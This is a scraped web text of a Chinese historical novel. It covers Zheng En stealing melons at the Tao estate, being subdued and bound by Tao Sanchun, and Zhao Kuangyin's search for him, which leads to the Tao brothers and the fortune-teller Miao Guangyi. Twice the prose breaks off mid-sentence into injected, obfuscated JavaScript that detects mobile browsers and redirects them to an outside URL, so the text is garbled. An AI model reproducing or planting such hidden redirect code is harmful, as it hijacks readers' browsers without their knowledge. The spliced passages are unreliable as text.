他也不管园子里有没有人,大摇大摆就走了进去,专挑那些看着熟得透的大西瓜——得有他两个脑袋那么大,蹲在树荫下,伸出蒲扇大的手,“嘭”的一拳下去,西瓜“咔嚓”就裂成三四块,红瓤裹着汁水顺着指缝往下滴,溅在粗布裤子上,他也不在意。郑恩拿起一块就往嘴里塞,甜丝丝的瓜汁顺着喉咙往下滑,凉丝丝的劲儿从肚子里往四肢百骸散,刚才的暑气、火气一下子就没了大半。他一边吃一边嘟囔:“这瓜比俺在山西老家吃的还甜,要是二哥(赵匡胤)在,准得跟俺抢着吃,说不定还得掰扯半天谁吃瓤谁吃瓜皮!” 一个西瓜下肚,郑恩还没解馋,又摘了一个,刚掰开要往嘴里送,就听见“呀”的一声,园门“吱呀”一声被关上了。他抬头一看,进来个穿着粗布短褂的老头,手里拎着个竹篮,里面装着刚买的鱼和五花肉,脸上满是怒气——这是陶家的园公,叫李老栓,在陶家干了十年,平日里最护着园子里的东西,连掉个瓜瓣都要心疼半天。李老栓刚去镇上买了菜回来,一进园子就看见个黑大汉蹲在地上吃瓜,瓜皮扔了一地,还有几块沾了泥,顿时急了,快步走过去,指着郑恩的鼻子骂:“你这黑贼!哪来的野汉子,敢闯进来偷瓜吃!” 郑恩把瓜放在一边,用袖子抹了把嘴,笑嘻嘻地说:“俺走得渴了,见你家瓜长得好,就吃了两个,多大点事,你咋这么小气?” 李老栓气得手都抖了,竹篮里的鱼差点掉出来,他赶紧用手扶住:“好你个黑贼!这瓜是俺家小姐特意让种的,一半要留着给庄里的小孩解暑,一半要拉去镇上卖钱,给庄丁们发月钱!你倒好,不打招呼就来吃现成的!俺们起早贪黑浇水施肥,盼着瓜熟,你一句‘渴了’就白吃?你当这是你家菜园子?” 郑恩听了,也有点不耐烦,站起身拍了拍裤子上的土:“行吧行吧,俺不吃了还不行?” “不吃就完了?”李老栓梗着脖子,往前凑了两步,“你都吃了一个大的了,得给钱!一文钱一斤,那瓜至少十斤,你得给十文钱!给了钱你才能走!” 郑恩摸了摸身上的口袋,里头空荡荡的——他出来的时候急着找水,压根没带钱袋。“俺没带钱,要不就算了,你请俺吃一回,下次俺路过,准给你带两斤好酒还人情?” 李老栓耳朵有点背,把“俺”听成了“老子”,顿时火冒三丈,往地上啐了一口:“谁是你老子!俺这辈子就没请过小偷吃东西!你要是不给钱,俺就去叫小姐来,把你吊在老槐树上打三百棍,再剥了你的狗皮抵瓜钱!” 这话可把郑恩惹毛了——他这辈子最恨别人说“剥他的皮”,当年在山西跟山贼打架,就因为山贼说过这话,他硬生生把人打跑了。当下他就瞪圆了眼睛,拳头攥得“咯吱”响:“你这老东西,俺吃你两个瓜,你就要打俺、剥俺的皮?要是俺真占了你家姑娘的便宜,你还不得把俺大卸八块?”说着,不等李老栓反应,抬手就是一掌。李老栓年纪大了,哪禁得住他这一下,“哎哟”一声,摔了个倒栽葱,竹篮里的鱼和肉全滚在地上,沾了一层泥。他爬起来,揉着腰,狠狠瞪了郑恩一眼,捂着嘴往庄子里跑——他知道自己打不过,只能去叫小姐来撑腰。 郑恩看着李老栓踉跄的背影,撇了撇嘴:“就这点能耐,还敢跟俺叫板。”说完,又蹲下来,拿起刚才没吃完的瓜,接着啃。他没想着要跑——在他眼里,一个老头加一个庄子的“软脚虾”,根本不是他的对手,压根没把这事放在心上,甚至还琢磨着“再吃一个就走,省得那老东西又来啰嗦”。 可他不知道,这庄子叫陶家庄,庄主原本是陶尚仁,是个出了名的忠厚人,可惜前几年夫妻两个都染了急病走了,留下两个儿子和一个女儿。大儿子叫陶龙,性子沉稳,管着庄子里的田产和买卖;二儿子叫陶虎,脾气火爆,专管庄里的护院,练过几年拳脚;女儿呢,就是刚才李老栓说的陶三春,今年十八,别看是个姑娘家,却是个实打实的“狠角色”。 一般的小姐都是躲在深闺里描眉绣红,学琴棋书画,陶三春偏不——她打小就爱舞刀弄枪,还喜欢看兵书,桌案上总摆着本翻得卷了边的《孙子兵法》,书页上还写着她的批注,院子里放着两个三百来斤的石锁,每天早上都要举上几十下,练得胳膊上全是结实的肌肉。庄里的庄丁、丫鬟要是犯了错,她只要伸出手轻轻一捏,就能让人疼得直叫爹。有一回,庄里的碾盘被暴雨淋塌了,那碾盘足有七八百斤重,五六个壮丁喊着号子抬都抬不动,陶三春走过去,挽了挽袖子,两手一抄,就给提起来放在了新砌的碾台上,从此庄里人都不敢惹她,连陶龙、陶虎兄弟俩都得让她三分。附近的村子里都知道陶家庄有个“母大虫”,别说偷东西,就连路过庄子都得绕着走。 更奇的是,去年有个云游的道士路过陶家庄,给陶三春算过命,说她是上界地魔星下凡,奉了玉帝的旨意,要辅佐真命天子开疆拓土,将来还有王妃的福气。陶龙、陶虎听了,对这个妹妹更是宝贝,啥都顺着她,连庄里的账本都让她过目。 这天陶三春正在房里看兵书,看到“知己知彼,百战不殆”那一句,还在纸上画着阵法——她总说“打仗得先懂布局,不然就是瞎打”,忽然听见门外有丫鬟慌慌张张地跑过来。这丫鬟叫翠儿,是陶三春的贴身丫鬟,平日里最机灵,此刻却跑得满脸通红,喘着气推开门:“小姐!不好了!瓜园里来了个黑大汉,偷瓜吃还不算,把李老栓给打了!李老栓说那大汉力气大得很,他根本拦不住!” 陶三春放下手里的毛笔,眉头一皱,眼里闪过一丝怒气——她最恨别人在陶家庄撒野,当下就站起来,顺手拿起墙上挂着的一把短刀(不过没打算真用,就是图个气势,她觉得“对付个偷瓜的,不用动刀”),对翠儿说:“走,去看看!再叫几个庄丁带上绳子,把那黑贼捆了,别让他跑了!” 翠儿赶紧点头,转身跑去叫庄丁,陶三春则理了理裙子,把头上的乌绫帕紧了紧——怕等会儿动手的时候头发散了碍事,又卷起袖子,露出结实的胳膊,大步往瓜园走。刚到园门口,就看见李老栓捂着腰站在那儿,脸上还有块青肿,见了陶三春,赶紧迎上去,委屈得快哭了:“小姐,您可来了!那黑贼太凶了,俺就说他两句,他就一巴掌把俺打趴下了,您看俺这脸,还有这鱼和肉,全脏了,没法吃了!您可得给俺做主啊!” 陶三春瞪了李老栓一眼:“没用的东西,这点事都摆不平,还敢在这啰嗦!要是让俺哥看见,又得说你办事不力!”李老栓不敢再说话,乖乖跟在后面,还不忘小声嘟囔:“那黑贼真的力气大……” 陶三春往园子里一看,果然见个黑大汉蹲在树荫下,手里拿着块瓜,吃得满脸都是汁水,瓜皮扔了一地,还有几块滚到了瓜秧旁边,把秧苗都压弯了。她心里的火气更盛了——这不仅偷瓜,还糟践庄稼! 她回头对跟着的庄丁和丫鬟说:“你们在这儿等着,别出声,俺去把他拿住,你们再进来捆人,别让他跑了。”庄丁里有个叫大牛的,长得挺壮实,是陶虎的得力手下,小声说:“小姐,那黑汉看着比俺还壮,您小心点,要不俺先上?”陶三春冷笑一声:“再壮也不过是个偷瓜的贼,俺一只手就能按住他,用不上你们。” 说着,她轻手轻脚走进园子,脚步放得极轻——小时候跟着猎户学过追踪,知道怎么不发出声音。她慢慢走到郑恩身后,郑恩正吃得高兴,嘴里“嘎吱嘎吱”响,压根没听见脚步声——一来是他吃得太投入,二来是陶三春的脚步跟猫似的,轻得很。直到陶三春站在他面前,开口说话,他才慢悠悠抬头:“你这女娃娃,过来干啥?没看见俺在吃瓜吗?赶紧走开,别耽误俺吃东西。” 陶三春见他这么轻视自己,心里的火气“噌”地就上来了,指着郑恩的鼻子说:“你这黑汉,太没规矩!俺家费劲种的瓜,你不问一声就吃,还打俺家的人,糟践俺家的瓜秧,你说你该不该打?” 郑恩上下打量了陶三春一番——见她虽然长得结实,可毕竟是个姑娘家,个子比自己矮了一头,心里更不当回事了,把瓜往地上一放,摊开手说:“俺渴了,吃你两个瓜怎么了?那老头说话难听,俺才打了他一下,又没把他打坏。你一个女娃娃,别在这儿瞎掺和,赶紧让开,不然俺对你不客气!” 这话彻底惹恼了陶三春——她最恨别人说她“女娃娃瞎掺和”,当年陶虎跟人打架,她上去帮忙,陶虎还说过这话,结果她把那伙人打跑了,陶虎再也不敢说这话了。只见她眉毛一竖,眼睛瞪得溜圆,右脚往前迈了一步,伸手就抓住了郑恩的胳膊。郑恩还没反应过来,就觉得胳膊被铁钳子夹住了似的,疼得他“哎哟”一声,刚想挣扎,陶三春手上一使劲,往上一提,再往下一按——“嘭”的一声,郑恩就摔了个脸朝下,鼻子、嘴巴都蹭了泥,疼得他龇牙咧嘴,眼泪都快出来了。 “你这女娃娃,敢打俺!”郑恩急了,想翻身起来,可陶三春一只手按在他背上,那力道跟压了块大石头似的,他怎么挣都挣不动,只能用手在地上乱扒,指甲缝里全是泥,连地上的草都被他薅下来好几根。 陶三春另一只手攥紧拳头,往郑恩背上“咚咚”就是几下,拳头带着风,打得郑恩背上火辣辣地疼,眼前都冒金星,脑子里“嗡嗡”响。园门口的庄丁、丫鬟见陶三春得手了,赶紧跑进来,大牛一边跑一边喊:“小姐,俺来帮您!别让这黑贼跑了!” 李老栓也跟进来,看着郑恩被打,心里解气,笑着说:“黑贼,你也有今天啊!你不是力气大吗?怎么被俺家小姐按在地上打?这就叫强中自有强中手,恶人还得恶人磨!” 郑恩被打得直哼哼,心里又气又急——他这辈子打过不少架,在山西一带也算有点名气,十八湾救过赵匡胤,孟家庄降过妖怪,还没被谁这么欺负过,更别说被一个姑娘家按在地上打了。可他是个好面子的人,宁死也不肯求饶,只能咬着牙说:“俺……俺吃了你两个瓜,多少钱,俺赔!你先放开俺,俺去拿银子!” 陶三春听了,手上的力气又加了几分,骂道:“你这黑贼,到现在还嘴硬!俺今天非得让你知道,陶家庄不是你撒野的地方!你以为赔点钱就完了?你打了俺家的人,糟践了俺家的瓜秧,这笔账还没算呢!”说着,又打了几拳,打得郑恩背上的衣服都破了个小口。 翠儿怕真把人打坏了,赶紧上前劝:“小姐,别打了!要是打出事来,等大爷、二爷回来,又得说您动不动就打人了。不如把他捆起来,等大爷他们回来发落,这样也显得咱们讲道理。” 陶三春想了想,觉得翠儿说得有道理——她哥嫂总说她“女孩子家要温柔,别总动手”,要是这次真把郑恩打坏了,哥嫂又得唠叨好几天。于是她松开手,对庄丁说:“把绳子拿过来,把他捆结实了,抬到前厅廊檐下,等俺哥回来发落!记住,别捆太紧,别让他断了气,不然不好跟俺哥交代!” 大牛赶紧递过两条粗麻绳——这是庄里护院用的,结实得很,几个庄丁一起动手,把郑恩四马攒蹄捆得严严实实。郑恩挣扎着,可绳子勒得太紧,越挣越疼,胳膊上都勒出了红印子,只能眼睁睁看着自己被两个庄丁架起来,像扛麻袋似的往前厅走。陶三春带着丫鬟、庄丁,簇拥着被捆成粽子似的郑恩,一路走,一路有庄丁探头探脑地看,还有小孩躲在门后,偷偷笑郑恩的狼狈样。 到了前厅,庄丁把郑恩放在廊檐下,就退到一边守着,手里还拿着棍子,怕他跑了。郑恩躺在地上,扭着脖子往厅里看,只见陶三春坐在厅中间的梨花木椅子上,手里端着杯凉茶,慢悠悠地喝着,脸上一点波澜都没有,仿佛刚才打他的不是她。他再仔细看陶三春的模样——乌绫帕扎着头发,眉毛又粗又黑,眼睛圆溜溜的,像两颗黑葡萄,嘴唇有点厚,脸上还有块凸起的肉,皮肤是健康的小麦色,看着就不好惹,跟庙里的罗刹女似的,比他见过的所有女人都凶。 郑恩这才后悔起来:“俺真是瞎了眼,把这女娃娃当成软柿子了!早知道她这么厉害,俺说啥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519305|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不偷这瓜啊!要是二哥知道俺被一个姑娘家捆了,还打得这么惨,准得笑俺一辈子,以后再也不跟俺一起喝酒了!”他想骂几句解气,可一想到陶三春的拳头,又把话咽了回去——他怕自己一骂,陶三春又过来打他;想求饶,可话到嘴边又说不出口——他可是在山西一带能叫上名字的好汉,怎么能向一个姑娘家求饶?传出去,他还怎么在道上混? 就在这时,陶三春放下茶杯,对守着的庄丁说:“好好看着他,别让他跑了,也别给他水喝,等俺哥回来再说。要是他敢乱骂,就堵上他的嘴!”说完,就带着翠儿回房了——她还没看完那本《孙子兵法》,心里惦记着刚才没画完的阵法。 郑恩见陶三春走了,才敢在心里骂:“这该死的女娃娃,把俺捆在这儿,还不给水喝!俺要是能出去,非把你这陶家庄拆了不可,把你的瓜全踩烂,让你再也卖不了钱!”可骂归骂,他被捆得结结实实,一点办法都没有,只能躺在地上,看着太阳慢慢往西沉,影子越拉越长,心里又急又气,肚子还饿得咕咕叫——刚才吃的瓜早就消化完了。 再说赵匡胤这边,可急坏了。他和张光远、罗彦威在客栈等着郑恩回来,从晌午等到傍晚,太阳都快落山了,还没见郑恩的影子。赵匡胤坐不住了,在客栈大堂里走来走去,眉头皱得能夹死蚊子,手里的茶杯都被他捏得变了形。 “各位兄弟,”赵匡胤停下脚步,对坐在桌边的张光远、罗彦威说,“三弟去洗澡,怎么到现在还不回来?不会出啥事儿了吧?他虽然会点水性,可要是遇上急流,也危险啊!” 张光远靠在椅背上,喝了口茶,笑着说:“二哥你别担心,三哥水性虽然不算顶好,但也淹不着他。说不定是在河边找着凉快地方,跟人聊天忘了时间,过会儿就回来了。” 罗彦威也点点头,手里把玩着一把扇子:“是啊,三哥向来大大咧咧的,不会有事的。咱们再等半个时辰,要是还不回来,再去找也不迟。” 可赵匡胤还是不放心——他和郑恩是患难兄弟,当年在山西一起打山贼,一起饿肚子,知道郑恩虽然力气大,但性子鲁莽,容易惹事,说不定在哪跟人起了冲突。“不行,俺等不了了,得去找找他。”赵匡胤站起身,把茶杯往桌上一放,“光远、彦威,你们跟俺一起去,顺着他走的路找找,也好放心。要是真出了事,咱们也好搭把手。” 张光远、罗彦威见赵匡胤这么坚持,也不再劝,跟着站起来,三人各自牵了马,顺着郑恩早上走的方向跑去。马跑得飞快,路边的树往后退,风声在耳边响,赵匡胤不停地回头看,希望能看见郑恩的影子,可路上连个人影都没有。 他们跑了好几里地,路上连条小河都没见着,更别说郑恩的影子了。赵匡胤心里更急了,额头上的汗都下来了,不停地甩着马鞭,催马往前跑,嘴里还念叨:“三弟啊三弟,你可别出事,不然俺怎么跟你娘交代!” 又跑了一会儿,忽然听见路边的田地里有人说话——那是几个农夫,正在收拾收割的麦子,把麦秆捆成捆,堆在田埂上。赵匡胤赶紧勒住马,侧着耳朵听,生怕错过关于郑恩的消息。 一个农夫擦了擦汗,对身边的人说:“老哥,你听说了吗?陶家庄今天抓了个黑大汉,听说那黑大汉偷瓜吃,还打了园公,结果被陶家小姐按在地上打了一顿,现在还捆在前厅廊檐下呢!” 另一个农夫直起腰,不信地摇摇头:“真的假的?陶家小姐虽然厉害,可那黑大汉既然敢打人,力气肯定不小,小姐能打得过他?你别是听岔了,瞎编的吧?” “俺咋会瞎编!”第一个农夫急了,嗓门都提高了,“俺刚才回家的时候,遇见陶家庄的庄客大牛,是他跟俺说的,还说那黑大汉是山西来的,一口山西话,长得人高马大的,脸黑得跟锅底似的,可还是被小姐打得服服帖帖的,连还手的力气都没有!” 赵匡胤听了,心里“咯噔”一下——山西来的黑大汉,脸黑得跟锅底似的,这不就是郑恩吗!他赶紧催马走到田边,对那几个农夫抱了抱拳,语气急切地说:“几位老哥,俺想问一下,你们说的陶家庄,还有那个被抓的黑大汉,能跟俺说说具体情况吗?俺有个兄弟,也是山西来的,长得跟你们说的一模一样,今天早上出来没回去,俺担心是他出了事。” 那几个农夫抬头一看,见赵匡胤穿着武将的衣服,长得器宇轩昂,浓眉大眼,身后的张光远、罗彦威也一脸正气,不像是坏人,赶紧放下手里的活,围了过来。其中一个年纪大的农夫,头发都白了,叫刘老丈,是这村里的老人,见多识广,他放下手里的镰刀,走过来说:“这位爷,您说的兄弟,是不是长得又高又壮,脸黑,说话嗓门大,还喜欢说‘俺’?” 赵匡胤赶紧点头,眼里都有了光:“对对对!就是这样!老哥,您知道他现在怎么样了吗?有没有受伤?陶家庄在哪儿?俺现在就去找他!” 刘老丈叹了口气,指了指东北方向:“那黑大汉啊,现在还被捆在陶家庄的前厅廊檐下呢,听大牛说,没受重伤,就是被打了几拳,饿了半天。陶家庄就在东北边,过了那片林子就是,离这儿也就两三里地。不过爷您可得注意,陶家小姐可不是好惹的,人送外号‘母大虫’,力气大,性子烈,要是有人惹了她,准没好果子吃。去年邻村来了伙山贼,抢了李家庄的粮食,还是陶家小姐带着庄丁把山贼打跑的,那山贼头子被她一拳打断了胳膊,到现在还没好呢!” 赵匡胤听了,心里又担心又有点佩服——担心郑恩饿肚子,受委屈;佩服陶三春一个姑娘家竟有这么大的本事,能打跑山贼。他又问:“那陶家还有别人吗?比如小姐的哥哥?要是俺去了,跟谁说话能管用?” “有有有!”刘老丈赶紧说,“小姐有两个哥哥,大哥陶龙,性子好,最讲道理,庄里的事大多是他做主;二哥陶虎,脾气爆,但也明事理,不会胡来。您要是去了,别跟小姐硬来,找他两个哥哥说,好好赔个不是,准能把您兄弟救出来。要是跟小姐硬来,您就算带再多的人,也未必是她的对手。” 赵匡胤点点头,对刘老丈抱了抱拳:“多谢老哥指点!要是俺能救出兄弟,一定回来谢您!”说完,就和张光远、罗彦威催马往东北边跑——他心里盘算着,先去陶家庄跟陶龙、陶虎好好说,赔了瓜钱,道个歉,要是他们肯放了郑恩,那最好;要是不肯,再想别的办法,实在不行,就跟陶三春比划比划,他不信自己打不过一个姑娘家。 这边赵匡胤快马加鞭往陶家庄赶,马蹄声“嘚嘚嘚”响,溅起一路尘土;那边郑恩还躺在廊檐下,心里把陶三春骂了无数遍,肚子饿得咕咕叫,口干得快冒火了。这真是: 今朝吃了眼前亏,来日定要把仇报。 不知道赵匡胤到了陶家庄,能不能顺利见到陶龙、陶虎,救出郑恩呢?咱们下回再说。 41. 第 41 章 话说赵匡胤见郑恩去河边洗澡,过了快一个时辰还没回来,心里渐渐发慌。他皱着眉跟身边的张光远、罗彦威说:“老三这性子,要么不惹事,一惹就是麻烦。咱们别在这儿等了,骑马顺着河边找过去,免得他真出什么岔子。” 两人听着也觉得有理,三个人牵了马,顺着河岸慢慢走。没走多远,就见田埂上两个农夫正坐在树荫下歇脚,手里摇着草帽,聊得热闹。赵匡胤勒住马,侧耳听了几句,就听见一个穿粗布短打的农夫说:“你听说没?陶家庄的三春姑娘,昨天又把人给拿了!说是个黑大个,偷了园子里的西瓜,还把看园子的老周头推了个跟头——结果三春姑娘拎着根枣木棍追出去,没三步就把人按在地上捆了,现在还关在陶家廊下呢!” 另一个农夫撇撇嘴:“那姑娘也是厉害过头了,十八九的姑娘家,不学着做针线,天天舞刀弄枪的,哪家敢要啊?也就陶家兄弟疼她,换别家,早把她管得严严实实的了。” 赵匡胤心里“咯噔”一下,暗忖:“黑大个?莫不是郑恩那厮?”他催马上前,对着两个农夫拱手:“二位老乡,敢问陶家庄怎么走?我们是来寻一个黑皮肤的兄弟,怕是误闯了贵地,惹了麻烦。” 农夫指了指前方一片青瓦庄子:“顺着这条路再走二里地就是,你们可当心点,那三春姑娘的脾气,比庄里的老犍牛还倔呢!” 谢过农夫,赵匡胤跟张、罗二人说:“二位贤弟,我走南闯北这么多年,山大王见了没有一百也有八十,可‘母大虫’似的姑娘,还真没遇过。陶家这女儿看着年纪小,胆子倒大,敢把我兄弟捆了——今日我非去会会她不可,管她是什么铜筋铁骨,我赵匡胤还真不信治不了她!” 张光远赶紧劝:“兄长别冲动!常言说‘强中自有强中手’,万一那姑娘真有两下子,咱们要是失了分寸,反而不好收场。” 赵匡胤摆了摆手,眼里带着股不服输的劲:“放心!我心里有数。就算她真有本事,我也得跟她理论理论,总不能让老三白受委屈。”两人见劝不住,只好跟着他往陶家庄去。 另一边,陶家庄的陶龙、陶虎兄弟,正骑着马往永宁集去。这几天陶龙总觉得心里不踏实——自从父母去世后,兄弟俩守着这庄子,虽说日子过得安稳,但最近总有些小毛贼在庄外晃悠,加上妹妹三春性子太烈,老跟人起冲突,他想找个人算算,看看往后的日子能不能顺些。 早就听说永宁集的关圣庙里,来了个叫苗光义的道人,算卦算得极准,多少人跑去找他问前程,没一个说不准的。兄弟俩想着,今天正好得空,就去试试。 到了集上,关圣庙门口人来人往,东廊下挂着个显眼的招牌,上面写着“苗光义命馆”。廊柱上贴着一副对联:“能知埋名宰相,善识未遇英雄”。陶龙抬头看着,心里犯嘀咕:“这道人倒会说大话,真有这么大本事?” 再看招牌旁边,还写着几行诗:“不用去长安找邵雍,也不用去西蜀问严君平;今天咱们有缘见面,说吉说凶都不骗你;命里的好坏、穷富、长短,我都能算得清;就算你是穿紫袍系金带的大官,到这儿也得下马问前程。” 陶虎拉了拉陶龙的袖子:“哥,别管他吹不吹牛,进去算一卦就知道了。”兄弟俩刚要往里走,就见一个老妇人从馆里出来,手里攥着张纸条,嘴里念叨着:“道长算得真准!说我家小子这月能找到活计,刚才就有人来叫他去帮工了——真是活神仙啊!” 陶龙心里的疑虑消了些,跟着陶虎进了东廊。馆里摆着一张木桌,桌上放着算筹、罗盘和一叠黄纸,一个道人坐在桌后,看着就跟常人不一样:头戴九梁巾,身穿淡蓝色的道袍,腰里系着素色丝绦,脚上是一双麻鞋。脸圆圆的,像满月似的,眼睛亮得像星星,身上那股飘逸的劲儿,真跟画里的神仙差不多。 这道人就是苗光义。他见陶龙、陶虎进来,起身拱了拱手:“二位施主请坐,是来问前程,还是问家事?” 陶龙连忙回礼:“道长您好,我们兄弟俩久闻您算卦如神,想来问问家里的事,还有往后的运气——您有什么就说什么,不用瞒着我们。” 苗光义点点头,指了指桌上的纸笔:“把二位的生辰八字写下来吧,我按命理推算,保准不骗你们。” 陶龙赶紧接过笔,把自己和陶虎的八字写好,递了过去。苗光义把纸铺在桌上,先用算筹排了“四柱”,又对着罗盘看了半天,时而皱眉,时而点头,过了好一会儿才开口:“二位的命,是难得的兄弟相合,就像塤和箎(古代两种乐器,常一起演奏)一样,互相帮衬。可惜的是,父母走得早,你们年纪轻轻就撑起家,不容易。” 陶龙、陶虎对视一眼,心里暗叹:“这就说中了!” 苗光义接着说:“你们俩的妻子都是贤惠人,能跟你们好好过日子,就是孩子可能来得晚些,得耐心等。不过你们的寿命长,能活到大富大贵的年纪。最要紧的是,你们命里有‘贵人星’,往后肯定能遇到贵人帮衬。我看你们俩脸上带着红光,今天就有一桩喜事——你们报个时辰,我再算算,这贵人什么时候能来。” 陶龙随口说:“辰时吧。” 苗光义捏着手指算了算,摇了摇头:“再报一个。” 陶虎想了想:“寅时。” 苗光义又算了一阵,眼睛一亮:“寅属虎,在东北方的艮位,艮代表山,山里藏着云水;辰属龙,在东南方的巽位,巽代表风——虎啸能生风,龙动有云水,这是‘龙虎风云’的兆头啊!今天酉时,会有四位贵人来见你们。你们赶紧回庄,去迎接贵人,可别错过了!往后的富贵荣华,全在一个红面长须的人身上——你们可得记牢了,别在这儿耽搁了。” 陶龙、陶虎听着,心里半信半疑。陶龙想:“这道人说得跟真的一样,可哪有这么巧的事?”但还是掏出银子,付了卦金,跟苗光义道别,骑马回庄。 路上,陶龙跟陶虎说:“我看这苗光义就是骗钱的,说什么酉时遇贵人,还红面长须——哪有这么准的卦?” 陶虎倒是看得开:“哥,算都算了,信不信都行。咱们过日子,还是得靠自己,别指望什么贵人。” 陶龙点点头:“你说得对,是我想多了。” 两人说着话,不知不觉就到了庄门口。太阳已经偏西,快到酉时了。陶龙抬头一看,庄门口拴着三匹骏马,马背上的鞍子都是上等的料子——显然不是普通人能有的。再看马旁站着三个人,个个身材魁梧,气度不凡,中间那个尤其高大,两道蚕眉,一双凤目,脸像抹了胭脂似的,红得发亮。 陶龙心里“咚”的一下,想起苗光义的话,赶紧拽了拽陶虎的袖子:“兄弟!苗道长算得是真准!你看中间那个红面的,跟他说的一模一样!” 陶虎也吃了一惊,仔细打量着三人:“看他们的穿着和气度,肯定不是普通人。不管是不是贵人,咱们先请他们进庄坐坐,好好招待,问问他们的来历再说。” 兄弟俩赶紧下了马,走到赵匡胤面前,拱手行礼:“三位贵客从哪里来?要是不嫌弃,请到庄里喝杯茶,歇歇脚。” 赵匡胤正站在庄门口犹豫——他想进去找郑恩,又怕直接闯进去失礼,见两人主动相邀,心里高兴,连忙回礼:“二位客气了。不知你们怎么称呼?家住在这里吗?我们跟你们素不相识,贸然打扰,不太好意思。” 陶龙笑着说:“我们是这儿的庄户,我叫陶龙,这是我弟弟陶虎。我们庄里也没什么好东西,就是想请贵客歇歇,没别的意思。” 赵匡胤一听“陶龙”“陶虎”,心里更踏实了——果然是陶家庄!他连忙说:“多谢二位盛情,那我们就不客气了。” 陶龙、陶虎在前头引路,赵匡胤、张光远、罗彦威跟在后面,陶家的家童赶紧牵过三人的马,跟在后面。进了庄门,赵匡胤眼角一扫,就看见廊下捆着个人——黑皮肤,络腮胡,不是郑恩是谁? 赵匡胤心里暗笑:“这黑厮,天天就知道惹事,今天总算遇到对手了,让他受点罪,也好长点记性。”他给张光远、罗彦威递了个眼色,意思是“别声张,先看看情况”。 五个人进了大厅,分宾主坐下。陶龙刚要开口问三人的姓名,就见管家陶忠端着茶进来了。陶忠是陶家的老管家,跟着陶家父母多年,对兄弟俩忠心耿耿。他把茶放在桌上,笑着说:“三位贵客一路辛苦,喝点茶解解渴。” 赵匡胤接过茶,跟陶龙说:“我叫赵匡胤,是东京人。这两位是我的兄弟,张光远、罗彦威。我们是来关西游历的,路上跟另一个兄弟走散了,听说他可能来了这里,所以过来找找。” 陶龙一听“赵匡胤”,心里又是一惊——早就听说东京有个赵弘殷将军,儿子赵匡胤是个好汉,没想到今天见到真人了!他连忙说:“原来是赵公子和两位英雄!我们有眼不识泰山,刚才多有怠慢,千万别见怪。” 说着,陶龙赶紧吩咐陶忠:“快,去厨房说一声,把炖好的鸡汤热上,再炒几个菜,准备些米酒,好好招待贵客。” 陶忠应声下去了。大厅里,几个人正聊着天,廊下的郑恩早就听见了赵匡胤的声音。他被捆了大半天,绳子勒得胳膊生疼,早就没了往日的威风。刚才听见赵匡胤说话,他赶紧睁开眼,看见赵匡胤和张、罗二人坐在厅里,心里又喜又急——喜的是救星来了,急的是自己被捆着,太丢人。 郑恩想叫“二哥”,可话到嘴边又咽了回去——他好歹也是条好汉,被个姑娘捆了,传出去多没面子!可不说吧,浑身疼得难受,实在熬不住。他正纠结着,就听见赵匡胤和陶龙有说有笑,心里的胆子又大了起来,对着厅里大声骂道:“你们这些驴球入的!不分青红皂白就把老子捆了!等老子解开绳子,非把你们这破庄子拆了不可!” 陶龙听见骂声,顺着声音一看,才发现廊下捆着个黑汉,赶紧问陶忠:“廊下捆的是谁?怎么回事?” 陶忠连忙说:“回大爷,这是个偷瓜贼,昨天偷了园子里的西瓜,还把看园子的周老丈推倒了,被三春姑娘抓住,捆在这儿等您回来发落呢。” 陶龙皱着眉摇了摇头:“我跟三春说过多少次,别这么大火气。这么热的天,吃几个西瓜算什么?还把人捆这么久——快把他解开,别让贵客看笑话。” 陶忠赶紧去解绳子。郑恩一见有人来解绳,更得意了,对着厅里喊:“二哥!是我啊!郑恩!你怎么才来?” 赵匡胤听见郑恩喊他,故意慢慢走出来,装作惊讶的样子:“老三?怎么是你?谁把你捆在这儿了?” 郑恩揉着胳膊,委屈地说:“还能是谁?一个女娃娃!那丫头片子可厉害了,我还没反应过来,就被她按在地上捆了——二哥,你是没见过她的本事,太吓人了!” 赵匡胤故意皱着眉:“你这么大的个子,还打不过一个姑娘?我可不信。” 郑恩急得脸都红了:“二哥,我说的是真的!那姑娘力气大得很,手里的棍子耍得比我还溜!” 陶龙见两人是兄弟,赶紧走过来,对着郑恩拱手道歉:“这位英雄,实在对不住!我妹妹年纪小,不懂事,冒犯了您,您别往心里去。” 郑恩本来还想发脾气,见陶龙态度好,又看在赵匡胤的面子上,只好哼了一声,没再说话。 不一会儿,陶忠就把菜端上来了:一大盆炖鸡汤,飘着金黄的油花;一盘炒黄豆,喷香扑鼻;还有一盘酱牛肉,切得厚厚的;旁边摆着一壶米酒。几个人围着桌子坐下,陶龙、陶虎陪着赵匡胤三人,郑恩也坐了下来,拿起筷子就往嘴里塞肉——饿了大半天,早就馋坏了。 酒过三巡,赵匡胤放下酒杯,问陶龙:“陶兄,刚才听管家说,捆我兄弟的是你妹妹?不知你妹妹多大年纪,怎么会这么好的武艺?” 陶龙叹了口气:“别提了,我妹妹叫陶三春,今年十八岁,还没嫁人。从小就不爱做针线,天天跟着庄里的老武师学武,什么刀枪棍棒,都会点。她性子又烈,见不得有人欺负庄里的人,昨天见你兄弟偷瓜还打人,就忍不住把他捆了——让赵公子见笑了。” 赵匡胤心里一动:“这么说,你妹妹是个女中豪杰?我走南闯北这么多年,还没见过这么厉害的姑娘。不知能不能请她出来见一面?我也好当面谢谢她,刚才我兄弟确实不对,让她受委屈了。” 陶龙犹豫了一下:“赵公子,不是我不肯,只是男女有别,我妹妹一个姑娘家,直接出来见你们,怕是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 